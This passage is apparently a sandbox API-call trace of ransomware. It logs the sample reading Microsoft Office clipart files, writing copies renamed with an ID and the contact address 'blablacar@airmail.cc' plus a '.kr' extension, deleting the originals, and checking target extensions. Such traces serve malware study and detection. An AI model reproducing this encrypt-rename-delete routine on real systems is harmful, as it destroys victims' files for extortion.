nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0197.268] SetEndOfFile (hFile=0x4d4) returned 1 [0197.268] CloseHandle (hObject=0x4d4) returned 1 [0197.268] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0197.268] SetEndOfFile (hFile=0x3f8) returned 1 [0197.272] CloseHandle (hObject=0x3f8) returned 1 [0197.272] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0197.272] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf")) returned 1 [0197.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0197.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0197.273] lstrlenW (lpString=".doc") returned 4 [0197.273] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0197.273] lstrlenW (lpString=".docx") returned 5 [0197.273] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0197.273] lstrlenW (lpString=".pdf") returned 4 [0197.273] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0197.273] lstrlenW (lpString=".xls") returned 4 [0197.273] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0197.273] lstrlenW (lpString=".xlsx") returned 5 [0197.273] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0197.273] lstrlenW (lpString=".ppt") returned 4 [0197.273] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0197.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0197.273] lstrlenW (lpString=".zip") returned 4 [0197.273] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0197.273] lstrlenW (lpString=".rar") returned 4 [0197.274] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0197.274] lstrlenW (lpString=".bz2") returned 4 [0197.274] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0197.274] lstrlenW (lpString=".7z") returned 3 [0197.274] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0197.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0197.274] lstrlenW (lpString=".dbf") returned 4 [0197.274] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0197.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0197.274] lstrlenW (lpString=".1cd") returned 4 [0197.274] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0197.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0197.274] lstrlenW (lpString=".jpg") returned 4 [0197.274] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0197.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0197.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0197.274] lstrlenW (lpString=".doc") returned 4 [0197.274] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0197.274] lstrlenW (lpString=".docx") returned 5 [0197.274] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0197.274] lstrlenW (lpString=".pdf") returned 4 [0197.274] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0197.274] lstrlenW (lpString=".xls") returned 4 [0197.274] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0197.274] lstrlenW (lpString=".xlsx") returned 5 [0197.274] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0197.274] lstrlenW (lpString=".ppt") returned 4 [0197.274] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0197.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0197.275] lstrlenW (lpString=".zip") returned 4 [0197.275] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0197.275] lstrlenW (lpString=".rar") returned 4 [0197.275] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0197.275] lstrlenW (lpString=".bz2") returned 4 [0197.275] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0197.275] lstrlenW (lpString=".7z") returned 3 [0197.275] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0197.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0197.275] lstrlenW (lpString=".dbf") returned 4 [0197.275] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0197.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0197.275] lstrlenW (lpString=".1cd") returned 4 [0197.275] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0197.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0197.275] lstrlenW (lpString=".jpg") returned 4 [0197.275] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0197.275] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0197.275] lstrlenW (lpString="HM00005_.WMF") returned 12 [0197.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0197.276] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=23300) returned 1 [0197.276] CloseHandle (hObject=0x3f8) returned 1 [0197.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf")) returned 0x220 [0197.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0197.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0197.277] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0197.277] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0197.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0197.277] GetLastError () returned 0x0 [0197.277] ReadFile (in: hFile=0x3f8, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x5b04, lpOverlapped=0x0) returned 1 [0197.280] WriteFile (in: hFile=0x4d4, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x5b10, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x5b10, lpOverlapped=0x0) returned 1 [0197.282] ReadFile (in: hFile=0x3f8, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0197.282] WriteFile (in: hFile=0x4d4, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0197.282] SetEndOfFile (hFile=0x4d4) returned 1 [0197.282] CloseHandle (hObject=0x4d4) returned 1 [0197.282] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0197.282] SetEndOfFile (hFile=0x3f8) returned 1 [0197.285] CloseHandle (hObject=0x3f8) returned 1 [0197.285] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0197.286] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf")) returned 1 [0197.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0197.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0197.287] lstrlenW (lpString=".doc") returned 4 [0197.287] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0197.287] lstrlenW (lpString=".docx") returned 5 [0197.287] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0197.287] lstrlenW (lpString=".pdf") returned 4 [0197.287] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0197.287] lstrlenW (lpString=".xls") returned 4 [0197.287] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0197.287] lstrlenW (lpString=".xlsx") returned 5 [0197.287] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0197.287] lstrlenW (lpString=".ppt") returned 4 [0197.287] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0197.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0197.287] lstrlenW (lpString=".zip") returned 4 [0197.287] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0197.287] lstrlenW (lpString=".rar") returned 4 [0197.287] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0197.287] lstrlenW (lpString=".bz2") returned 4 [0197.287] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0197.287] lstrlenW (lpString=".7z") returned 3 [0197.287] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0197.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0197.287] lstrlenW (lpString=".dbf") returned 4 [0197.287] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0197.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0197.288] lstrlenW (lpString=".1cd") returned 4 [0197.288] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0197.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0197.288] lstrlenW (lpString=".jpg") returned 4 [0197.288] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0197.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0197.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0197.288] lstrlenW (lpString=".doc") returned 4 [0197.288] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0197.288] lstrlenW (lpString=".docx") returned 5 [0197.288] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0197.288] lstrlenW (lpString=".pdf") returned 4 [0197.288] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0197.288] lstrlenW (lpString=".xls") returned 4 [0197.288] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0197.288] lstrlenW (lpString=".xlsx") returned 5 [0197.288] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0197.288] lstrlenW (lpString=".ppt") returned 4 [0197.288] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0197.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0197.288] lstrlenW (lpString=".zip") returned 4 [0197.288] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0197.288] lstrlenW (lpString=".rar") returned 4 [0197.288] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0197.288] lstrlenW (lpString=".bz2") returned 4 [0197.289] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0197.289] lstrlenW (lpString=".7z") returned 3 [0197.289] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0197.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0197.289] lstrlenW (lpString=".dbf") returned 4 [0197.289] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0197.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0197.289] lstrlenW (lpString=".1cd") returned 4 [0197.289] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0197.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0197.289] lstrlenW (lpString=".jpg") returned 4 [0197.289] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0197.289] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0197.289] lstrlenW (lpString="HM00114_.WMF") returned 12 [0197.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0197.290] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=22116) returned 1 [0197.290] CloseHandle (hObject=0x3f8) returned 1 [0197.291] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf")) returned 0x220 [0197.291] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0197.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0197.291] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0197.291] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0197.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0197.292] GetLastError () returned 0x0 [0197.292] ReadFile (in: hFile=0x3f8, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x5664, lpOverlapped=0x0) returned 1 [0197.294] WriteFile (in: hFile=0x4d4, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x5670, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x5670, lpOverlapped=0x0) returned 1 [0197.531] ReadFile (in: hFile=0x3f8, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0197.531] WriteFile (in: hFile=0x4d4, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0197.532] SetEndOfFile (hFile=0x4d4) returned 1 [0197.629] CloseHandle (hObject=0x4d4) returned 1 [0197.630] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0197.630] SetEndOfFile (hFile=0x3f8) returned 1 [0197.633] CloseHandle (hObject=0x3f8) returned 1 [0197.634] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0198.043] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf")) returned 1 [0198.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0198.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0198.178] lstrlenW (lpString=".doc") returned 4 [0198.178] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.178] lstrlenW (lpString=".docx") returned 5 [0198.178] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0198.178] lstrlenW (lpString=".pdf") returned 4 [0198.178] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.178] lstrlenW (lpString=".xls") returned 4 [0198.178] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.178] lstrlenW (lpString=".xlsx") returned 5 [0198.178] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0198.178] lstrlenW (lpString=".ppt") returned 4 [0198.178] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0198.178] lstrlenW (lpString=".zip") returned 4 [0198.178] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.178] lstrlenW (lpString=".rar") returned 4 [0198.178] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.178] lstrlenW (lpString=".bz2") returned 4 [0198.178] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.178] lstrlenW (lpString=".7z") returned 3 [0198.179] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0198.179] lstrlenW (lpString=".dbf") returned 4 [0198.179] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0198.179] lstrlenW (lpString=".1cd") returned 4 [0198.179] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0198.179] lstrlenW (lpString=".jpg") returned 4 [0198.179] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0198.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0198.179] lstrlenW (lpString=".doc") returned 4 [0198.179] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.179] lstrlenW (lpString=".docx") returned 5 [0198.179] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0198.179] lstrlenW (lpString=".pdf") returned 4 [0198.179] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.179] lstrlenW (lpString=".xls") returned 4 [0198.179] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.179] lstrlenW (lpString=".xlsx") returned 5 [0198.179] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0198.180] lstrlenW (lpString=".ppt") returned 4 [0198.180] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0198.180] lstrlenW (lpString=".zip") returned 4 [0198.180] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.180] lstrlenW (lpString=".rar") returned 4 [0198.180] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.180] lstrlenW (lpString=".bz2") returned 4 [0198.180] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.180] lstrlenW (lpString=".7z") returned 3 [0198.180] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0198.180] lstrlenW (lpString=".dbf") returned 4 [0198.180] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0198.180] lstrlenW (lpString=".1cd") returned 4 [0198.180] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0198.180] lstrlenW (lpString=".jpg") returned 4 [0198.180] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.181] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0198.181] lstrlenW (lpString="IN00118_.WMF") returned 12 [0198.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0198.429] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=792) returned 1 [0198.429] CloseHandle (hObject=0x4d4) returned 1 [0198.429] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf")) returned 0x220 [0198.429] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0198.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0198.430] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0198.430] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0198.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0198.431] GetLastError () returned 0x0 [0198.431] ReadFile (in: hFile=0x4d4, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x318, lpOverlapped=0x0) returned 1 [0198.433] WriteFile (in: hFile=0x534, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x320, lpOverlapped=0x0) returned 1 [0198.437] ReadFile (in: hFile=0x4d4, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0198.437] WriteFile (in: hFile=0x534, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0198.437] SetEndOfFile (hFile=0x534) returned 1 [0198.437] CloseHandle (hObject=0x534) returned 1 [0198.437] SetFilePointerEx (in: hFile=0x4d4, 